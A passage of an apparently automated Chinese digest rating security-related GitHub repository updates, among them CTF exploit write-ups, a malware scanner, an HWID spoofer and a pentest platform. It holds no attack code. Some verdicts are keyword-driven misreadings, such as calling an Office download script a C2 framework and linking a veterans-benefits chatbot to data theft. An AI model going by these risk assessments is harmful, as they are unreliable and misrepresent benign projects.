其中涉及到的API文档,可能成为黑客分析和攻击的目标。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 基于Flask的AI助手,提供退伍军人福利问答功能。 |
|
||
| 2 | 集成了Pinecone向量数据库和助手功能。 |
|
||
| 3 | 包含详细的部署指南和测试脚本。 |
|
||
| 4 | 与C2关键词相关,潜在风险在于可能被用于信息窃取或钓鱼攻击。 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 使用Flask框架构建Web应用。
|
||
|
||
> 使用Pinecone API进行向量搜索和问答。
|
||
|
||
> 前端UI用于用户交互。
|
||
|
||
> 部署方式包括Render和Railway。
|
||
|
||
> 包含健康检查接口以及测试接口
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Flask
|
||
• Pinecone
|
||
• Python环境
|
||
• 前端UI
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库与网络安全关键词'c2'相关。虽然该项目本身并非C2工具,但它提供了构建信息收集平台的基础,而信息收集是C2活动的重要组成部分。项目的功能,如AI问答,以及相关的文档和API设计,可能被恶意使用以窃取用户敏感信息。因此,该项目在安全领域具有一定的研究价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### C2R - C2框架的下载脚本更新
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [C2R](https://github.com/CNMan/C2R) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **2**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是一个C2框架相关的项目,其主要功能包括下载Office镜像文件。 本次更新主要集中在 `README.MD` 和 `c2rdl.sh` 脚本的修改。 `README.MD` 更新了Office 2024版本的下载链接,并且更新了部分日期信息。 `c2rdl.sh` 脚本增加了对Office 2024版本的支持,包括下载链接和参数的调整。 由于是C2框架,并且更新了下载脚本,与网络安全/渗透测试强相关。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 更新了Office 2024版本的下载链接 |
|
||
| 2 | 修改了c2rdl.sh脚本,增加对Office 2024的支持 |
|
||
| 3 | 与C2框架相关,涉及下载功能 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 更新了`README.MD`,添加了Office 2024的下载链接,包括各种版本的下载路径。
|
||
|
||
> 修改了`c2rdl.sh`脚本,调整了下载参数,以支持Office 2024版本的下载。
|
||
|
||
> 脚本通过构造特定的URL来下载Office镜像文件。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• c2rdl.sh
|
||
• Office 2024
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
C2框架通常用于恶意活动,更新下载脚本意味着可能用于分发或获取新的payload。 由于涉及下载文件,存在一定的安全风险。
|
||
</details>
|
||
|
||
---
|
||
|
||
### c2pa-js - C2PA数据展示和验证JS SDK
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [c2pa-js](https://github.com/contentauth/c2pa-js) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全修复` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **6**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供JavaScript SDK,用于展示和验证C2PA (Coalition for Content Provenance and Authenticity) 数据。最近更新包括更新Rust工具链版本,并添加了一些变更说明文件。主要更新内容包括更新c2pa-rs依赖, 修复了安全社交链接。总的来说,这次更新涉及了依赖更新和一些安全相关的补丁,可能影响到C2PA数据的处理和验证的安全性。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 更新了Rust工具链版本 |
|
||
| 2 | 添加了变更说明文件,说明了对@contentauth/detector, @contentauth/toolkit, c2pa-wc, c2pa的更新 |
|
||
| 3 | 更新c2pa-rs依赖,修复安全社交链接 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 更新了.github/workflows/build-test.yml和.github/workflows/publish.yml中的Rust工具链版本,由1.84.0更新至1.88.0。
|
||
|
||
> 添加了多个JSON文件,用于描述各个软件包(@contentauth/detector, @contentauth/toolkit, c2pa-wc, c2pa)的变更,其中涉及“更新c2pa-rs”和“Secure social links”。
|
||
|
||
> 安全影响分析:更新c2pa-rs可能包含了对C2PA数据处理的安全性修复或改进。修复安全社交链接表明可能存在与社交链接相关的安全漏洞,如钓鱼或信息泄露。这些更新可能影响到C2PA数据的展示和验证的安全性。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• C2PA数据处理和验证的JavaScript SDK
|
||
• @contentauth/detector
|
||
• @contentauth/toolkit
|
||
• c2pa-wc
|
||
• c2pa
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
本次更新涉及安全相关的变更,例如修复了安全社交链接,更新了c2pa-rs依赖,这可能修复了C2PA数据处理过程中存在的安全漏洞或改进了安全防护措施,因此具有一定的价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### malwi - AI 恶意软件扫描工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [malwi](https://github.com/schirrmacher/malwi) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全功能` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **29**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是一个基于AI的Python恶意软件扫描器。本次更新主要重构了CLI代码,将核心模块拆分,并增加了PyPI包扫描功能,增加了测试用例,并更新了文档。这次更新主要改进了代码结构,增加了PyPI包扫描功能,并修复了一些bug。这对于安全研究具有一定价值。之前的版本主要功能是扫描本地文件,这次更新增强了对PyPI包的扫描功能,扩大了扫描范围,可以检测来自PyPI的恶意软件。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 重构CLI代码,增强模块化。 |
|
||
| 2 | 增加了PyPI包扫描功能。 |
|
||
| 3 | 修复了一些bug,提高了代码质量。 |
|
||
| 4 | 改进了文档。 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 将CLI相关的代码从`src/cli/entry.py`拆分到`src/cli/scan.py`和`src/cli/pypi.py`。
|
||
|
||
> 实现了PyPI包的下载和扫描逻辑,`src/cli/pypi.py`。
|
||
|
||
> 更新了测试用例,测试了CLI的各种情况。
|
||
|
||
> 修改了`src/common/malwi_object.py`和`src/common/malwi_report.py`,分离MalwiObject和MalwiReport的逻辑。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• src/cli/entry.py
|
||
• src/cli/scan.py
|
||
• src/cli/pypi.py
|
||
• src/common/malwi_object.py
|
||
• src/common/malwi_report.py
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
增加了对PyPI包的扫描功能,扩展了扫描范围,增加了对潜在恶意软件的检测能力,提高了工具的实用性。
|
||
</details>
|
||
|
||
---
|
||
|
||
### langchain-powered-multicloud-threat-agent - AI驱动的多云威胁检测与缓解
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [langchain-powered-multicloud-threat-agent](https://github.com/vasee5416/langchain-powered-multicloud-threat-agent) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全工具` |
|
||
| 更新类型 | `功能增强` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是一个利用LangChain和AI Agent实现的多云(AWS和Azure)威胁检测与响应系统。它通过分析来自AWS GuardDuty和Azure Defender的安全日志,生成人类可读的威胁解释,并采取自动化响应措施。更新内容包括IaC部署说明,展示了使用Terraform在AWS上部署整个项目的流程,包括GuardDuty、EventBridge、Lambda、S3和SageMaker Notebook。该项目旨在构建一个可重复、可扩展且成本可控的多云SOC环境,并易于扩展。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 结合LangChain的AI Agent用于安全日志分析和威胁检测。 |
|
||
| 2 | 支持AWS GuardDuty和Azure Defender的日志数据摄取。 |
|
||
| 3 | 提供自动化响应措施,例如IP封锁和告警。 |
|
||
| 4 | 使用Elasticsearch和Kibana进行日志存储和可视化。 |
|
||
| 5 | 与AI Security关键词高度相关,核心功能是利用AI进行威胁检测与响应 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 使用LangChain和HuggingFace构建AI Agent,用于分析安全日志。
|
||
|
||
> 使用Logstash进行日志标准化和处理。
|
||
|
||
> 提供预构建的Kibana仪表盘,用于监控和可视化。
|
||
|
||
> 通过Terraform实现IaC部署,简化了在AWS上的部署过程。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• AWS GuardDuty
|
||
• Azure Defender
|
||
• Logstash
|
||
• Elasticsearch
|
||
• Kibana
|
||
• LangChain
|
||
• Hugging Face
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库与AI Security关键词高度相关,核心功能在于使用AI驱动威胁检测和响应。它提供了一个集成的解决方案,结合了LangChain、多云安全日志分析和自动化响应,具有一定的研究价值和实践意义。更新的IaC部署说明增强了项目的可用性和易用性。
|
||
</details>
|
||
|
||
---
|
||
|
||
### x201-BatConsole - X201服务器安全加固配置
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [x201-BatConsole](https://github.com/VolkanSah/x201-BatConsole) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全加固` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
- 变更文件数: **2**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库旨在将旧款Lenovo X201笔记本电脑配置为全功能的、经过强化的、支持AI的家庭服务器。更新内容主要集中在对服务器进行安全加固的配置。更新了cap-4.md,修改了作者信息。cap-5.md中增加了禁用未使用的账户,锁定sudo访问,以及验证sudo访问的步骤。整体旨在提升服务器的安全性。鉴于内容涉及到服务器安全加固,以及关键权限的控制,因此本次更新具有一定的安全价值。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 配置旧款Lenovo X201为安全服务器 |
|
||
| 2 | 更新了作者信息 |
|
||
| 3 | 增加了锁定sudo访问的步骤 |
|
||
| 4 | 增加了验证sudo访问的步骤 |
|
||
| 5 | 提高了服务器的安全性 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 修改了cap-4.md中的作者信息,从Batman修改为S. Volkan Sah
|
||
|
||
> cap-5.md中增加了配置sudo访问限制的bash命令,以及验证命令
|
||
|
||
> 增加了禁用未使用的账户的命令
|
||
|
||
> sudo visudo文件修改,限定用户使用sudo
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Lenovo X201
|
||
• Linux 系统
|
||
• sudo 配置
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
更新内容涉及了sudo配置等关键权限,以及服务器安全加固,对服务器的安全性有积极作用。
|
||
</details>
|
||
|
||
---
|
||
|
||
### vuln_crawler - 漏洞情报聚合工具更新
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [vuln_crawler](https://github.com/wooluo/vuln_crawler) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全研究` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
- 变更文件数: **2**
|
||
|
||
#### 💡 分析概述
|
||
|
||
wooluo/vuln_crawler是一个多源漏洞情报聚合工具,可以从多个安全数据源爬取漏洞信息并生成结构化报告。本次更新内容为GitHub Actions自动生成的漏洞情报报告,报告中汇总了来自CISA、OSCS、Qianxin和ThreatBook的漏洞信息。这些报告包含CVE ID、漏洞名称、严重程度、发布日期和来源等信息。由于更新内容涉及多个高危漏洞,包括Atlassian Confluence模板注入、WinRAR目录穿越、Jenkins CLI任意文件读取等,这些漏洞可能导致代码执行、文件读取等严重安全问题。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 自动更新的漏洞情报报告 |
|
||
| 2 | 聚合多个安全数据源的漏洞信息 |
|
||
| 3 | 包含高危漏洞信息,如RCE和文件读取 |
|
||
| 4 | 报告内容格式化,便于查阅 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 更新报告由GitHub Actions自动生成,表明了自动化漏洞情报收集的流程。
|
||
|
||
> 报告从多个来源(CISA、OSCS、Qianxin、ThreatBook)收集漏洞信息,增加了信息的全面性。
|
||
|
||
> 漏洞信息包括CVE ID、漏洞名称、严重程度等,方便安全人员快速了解漏洞情况。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Atlassian Confluence
|
||
• WinRAR
|
||
• Jenkins CLI
|
||
• Cleo
|
||
• Flowise
|
||
• FUXA
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该更新提供了最新的漏洞情报,涵盖多个高危漏洞,对安全防护具有重要的参考价值,有助于及时发现和修复漏洞。
|
||
</details>
|
||
|
||
---
|
||
|
||
### watch0day - 自动化0day漏洞监控系统
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [watch0day](https://github.com/wooluo/watch0day) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **2**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是一个自动化0day漏洞监控系统,通过GitHub Actions定时抓取互联网上的最新漏洞情报,自动翻译并生成结构化报告。本次更新增加了0day漏洞报告,报告内容包括多个安全新闻网站上发布的漏洞信息,如Encrypthub利用的MSC Eviltwin漏洞、Cisco FMC RADIUS漏洞以及新的HTTP/2 'MadeReSet'漏洞等。报告以Markdown格式呈现,并提供了相关链接和漏洞描述。由于该项目专注于收集和报告最新的漏洞信息,所以本次更新具有很高的安全价值。
|
||
|
||
更新内容分析:
|
||
- 增加了包含多个新披露漏洞的报告,例如CVE-2024-xxxx(示例)。这些漏洞包括远程代码执行、拒绝服务等高危漏洞。
|
||
- 报告涵盖了多个安全新闻来源,增加了信息的广度和深度。
|
||
- 报告结构化,方便安全分析人员快速了解最新的漏洞信息。
|
||
|
||
漏洞利用方式:
|
||
本次更新中,报告涉及的漏洞利用方式包括:
|
||
1. Encrypthub利用MSC EvilTwin漏洞:该漏洞允许攻击者部署恶意payload。
|
||
2. Cisco FMC RADIUS漏洞:CVSS 10.0,允许远程代码执行。
|
||
3. HTTP/2 'MadeReSet'漏洞:可实现大规模DOS攻击。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 自动化0day漏洞情报收集 |
|
||
| 2 | 生成结构化漏洞报告 |
|
||
| 3 | 报告内容包括多个新披露的漏洞信息 |
|
||
| 4 | 报告涉及Cisco FMC Radius、Encrypthub等高危漏洞 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> GitHub Actions定时抓取
|
||
|
||
> 自动翻译与结构化
|
||
|
||
> Markdown格式报告
|
||
|
||
> 报告内容来源于The Hacker News等安全新闻网站
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Microsoft Windows
|
||
• Cisco FMC
|
||
• HTTP/2
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该项目专注于收集和报告最新的0day漏洞情报,本次更新增加了多个新披露的漏洞信息,对安全从业人员具有重要的参考价值。特别是报告中包含的漏洞信息,如Cisco FMC RADIUS漏洞等,可能被用于实际攻击。
|
||
</details>
|
||
|
||
---
|
||
|
||
### ethernaut-solutions - Ethernaut智能合约安全通关
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [ethernaut-solutions](https://github.com/huicanvie/ethernaut-solutions) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **14**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是Ethernaut CTF的解题方案,提供了Solidity智能合约的漏洞分析和利用。本次更新新增了对Privacy关卡的分析和通关代码,并修改了Reentrancy, Elevator, Vault, King, Fallback, Fallout, CoinFlip, Telephone, Token, Delegate, Force, Privacy等关卡的markdown文档,增加了漏洞利用的分析和代码,使解题思路更加清晰。更新了LEVELS.md,包含了关卡的链接。
|
||
|
||
关键更新:
|
||
1. Privacy关卡:分析了存储槽的布局,并提供了获取data[2]数据的思路,以便解锁合约。Privacy关卡详细说明了如何通过分析storage布局来找到关键数据。该关卡展示了如何利用存储结构中的数据定位来绕过安全保护机制。
|
||
2. 其他关卡:更新了Reentrancy, Elevator, Vault, King, Fallback, Fallout, CoinFlip, Telephone, Token, Delegate, Force, Privacy等关卡的markdown文档,增加了漏洞利用的分析和代码,使解题思路更加清晰。
|
||
|
||
漏洞利用分析:
|
||
* Reentrancy: 介绍了重入攻击的原理和防范。
|
||
* Elevator: 阐述了如何通过控制isLastFloor方法来破解。
|
||
* Vault: 讲解了如何通过区块链浏览器查看private变量值。
|
||
* King: 介绍了通过revert来阻止其他用户成为King。
|
||
* Fallback: 通过receive函数和fallback函数的漏洞获取合约所有权。
|
||
* Fallout: 通过构造函数命名错误获取合约所有权。
|
||
* CoinFlip: 利用确定性计算破解CoinFlip游戏。
|
||
* Telephone: 阐述了如何利用tx.origin和msg.sender的区别来获取所有权。
|
||
* Token: 讲解了整数溢出攻击。
|
||
* Delegate: 介绍了Delegatecall的特性,以及如何利用它来获取所有权。
|
||
* Force: 介绍了如何通过自毁函数来窃取合约余额。
|
||
* Privacy: 展示了如何通过存储槽的布局获取私有数据。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | Ethernaut CTF解题方案仓库 |
|
||
| 2 | 新增Privacy关卡分析和通关代码 |
|
||
| 3 | 更新多个关卡的漏洞分析和利用代码 |
|
||
| 4 | 涵盖了重入、整数溢出、Delegatecall等多种常见漏洞 |
|
||
| 5 | 提供了详细的漏洞分析和攻击代码 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> Privacy关卡利用了Solidity的存储布局,分析了变量在存储槽中的位置,从而获取关键数据并解锁合约。
|
||
|
||
> 其他关卡的更新涉及了重入、整数溢出、tx.origin等多种漏洞的利用。
|
||
|
||
> 代码层面,更新包括了Solidity代码的编写和调试,以及对漏洞的分析和解释。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Solidity智能合约
|
||
• Ethernaut CTF
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库提供了Ethernaut CTF的详细解题方案,包含多种类型的安全漏洞的分析和利用,对于学习智能合约安全具有很高的参考价值。尤其是新增的Privacy关卡的分析,展示了存储槽布局的利用,对理解Solidity存储结构有很大帮助。
|
||
</details>
|
||
|
||
---
|
||
|
||
### URLFinder - URLFinder: 安全侦察工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [URLFinder](https://github.com/huaimeng666/URLFinder) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全修复` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
- 变更文件数: **3**
|
||
|
||
#### 💡 分析概述
|
||
|
||
URLFinder是一款Go语言编写的安全侦察工具,用于爬取URL、发现API接口,并提取前端JS文件中的敏感信息。 本次更新修复了在高并发扫描大型网站时可能出现的并发读写共享数据导致的崩溃问题,通过添加互斥锁解决了数据竞争问题,提升了程序的稳定性和健壮性。 修复了URL解码问题, 自动添加Referer,增强了抓取成功率。 综合来看,该更新提升了工具的稳定性和使用体验。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 修复了并发安全问题,提高了稳定性 |
|
||
| 2 | 增加了自动添加Referer的功能 |
|
||
| 3 | 修复了URL解码问题 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 在crawler/crawler.go中,对共享map资源进行读写操作时,添加了互斥锁 config.Lock,解决了并发读写导致的数据竞争问题。
|
||
|
||
> 增加了对url.QueryUnescape 函数错误的检查, 解码失败使用原始URL
|
||
|
||
> 自动添加Referer头
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• crawler/crawler.go
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
解决了高并发场景下的程序崩溃问题,提高了工具的稳定性,对安全工具来说,稳定性是重要的指标之一。
|
||
</details>
|
||
|
||
---
|
||
|
||
### claude-code-toolkit - Claude Code Toolkit更新
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [claude-code-toolkit](https://github.com/redpop/claude-code-toolkit) |
|
||
| 风险等级 | `LOW` |
|
||
| 安全类型 | `安全功能` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **3**
|
||
- 变更文件数: **20**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是Claude Code的综合工具包,包含70+斜杠命令、AI代理和自动化工作流程。本次更新主要集中在增强`handoff`命令,并增加了新的Agent创建工作流程。`handoff`命令增加了更丰富的参数,包括紧凑模式、技术细节、主题过滤等功能,增强了上下文传递能力,并增加了安全说明,强调只读分析。新增了标准化的Agent创建工作流程,包含创建脚本、模板和文档,确保Agent的格式和兼容性。这些更新提升了工具的功能性和安全性。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 增强了handoff命令,提供更丰富的参数和功能 |
|
||
| 2 | 新增标准化的Agent创建工作流程 |
|
||
| 3 | 增加了安全说明,强调handoff命令的只读特性 |
|
||
| 4 | 提供了创建Agent的脚本、模板和文档 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> Handoff命令增加了--compact、--technical、--focus、--skip、--include等参数,增强了上下文提取和传递能力。还增加安全说明,明确该命令不会修改代码或文件,只进行分析和总结。
|
||
|
||
> 新增了create-agent.sh脚本,用于自动化Agent创建,基于agent-template.md模板,确保Agent的标准化
|
||
|
||
> 增加了AGENT-CREATION-WORKFLOW.md文档,提供了详细的Agent创建流程和规范
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• commands/meta/handoff.md
|
||
• scripts/create-agent.sh
|
||
• templates/agent-template.md
|
||
• docs/guides/AGENT-CREATION-WORKFLOW.md
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
此次更新增强了handoff命令的功能性和安全性,并提供了标准化的Agent创建流程,提升了工具的整体可用性和安全性。
|
||
</details>
|
||
|
||
---
|
||
|
||
### password-strength-checker-c - C语言密码强度检测工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [password-strength-checker-c](https://github.com/chaohm1/password-strength-checker-c) |
|
||
| 风险等级 | `LOW` |
|
||
| 安全类型 | `安全工具` |
|
||
| 更新类型 | `功能增强/文档更新` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
- 变更文件数: **2**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是一个用C语言编写的密码强度检测工具。它通过分析用户输入的密码,评估其强度并提供反馈。更新内容主要集中在README.md文件的完善,包括描述、功能、编译和运行说明以及技术实现和安全考虑。该工具实现了密码长度验证、空格检测、字符类型验证(大小写字母、数字、特殊字符)和基于规则的评分系统。虽然该工具没有直接的安全漏洞利用,但它有助于提高用户对密码安全性的认识,并提供了一种简单的密码强度评估方法。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现了密码强度检测功能 |
|
||
| 2 | 提供了关于密码强度的反馈和改进建议 |
|
||
| 3 | 使用C语言实现,具备一定的技术参考价值 |
|
||
| 4 | 代码主要目的是进行密码强度分析,与安全工具相关性较高 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 使用C语言实现
|
||
|
||
> 包括长度验证、空格检测、字符类型验证
|
||
|
||
> 基于规则的评分系统
|
||
|
||
> 提供了内存管理和输入处理方面的考虑,例如防止缓冲区溢出
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 用户输入密码
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该项目直接与密码安全相关,属于安全工具范畴。它提供了一种评估密码强度的方法,有助于用户了解密码安全的重要性。虽然该工具本身不包含漏洞利用,但对于理解密码安全机制和开发安全相关的工具具有一定的参考价值。与搜索关键词'security tool'相关性高。
|
||
</details>
|
||
|
||
---
|
||
|
||
### HWID-Spoofer-and-Cleaner-2024 - HWID欺骗与清理工具,增强隐私
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [HWID-Spoofer-and-Cleaner-2024](https://github.com/micahchue/HWID-Spoofer-and-Cleaner-2024) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全工具` |
|
||
| 更新类型 | `GENERAL_UPDATE` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供了一个HWID欺骗和清理工具,旨在改变设备的硬件ID以增强隐私和安全。更新主要修改了README.md文件,更新了下载链接。由于该工具涉及到修改硬件ID,绕过硬件封禁,可能被用于规避游戏或应用程序的限制。因此具有一定的安全风险,潜在地被用于违反游戏或软件的使用条款。README.md的更新主要包括下载链接的修改,这本身不构成安全漏洞,但与工具的功能相关,具有一定的关联性。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 提供HWID欺骗和清理功能,用于增强隐私。 |
|
||
| 2 | 更新了README.md中的下载链接。 |
|
||
| 3 | 工具可能被用于绕过硬件封禁,存在滥用风险。 |
|
||
| 4 | 更新内容本身不构成安全风险,但与工具功能相关。 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 工具通过修改硬件ID来达到欺骗目的,具体实现细节未知。
|
||
|
||
> README.md中的下载链接被更新。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 操作系统
|
||
• 硬件设备
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该工具虽然不直接包含安全漏洞,但其核心功能涉及绕过硬件封禁,这与安全和隐私保护相关。README.md的更新虽然简单,但与工具的功能相关,且可能被用于绕过安全限制,因此具有一定的价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### LEGION2 - 现代化渗透测试平台LEGION2
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [LEGION2](https://github.com/NubleX/LEGION2) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全工具` |
|
||
| 更新类型 | `功能更新` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **29**
|
||
|
||
#### 💡 分析概述
|
||
|
||
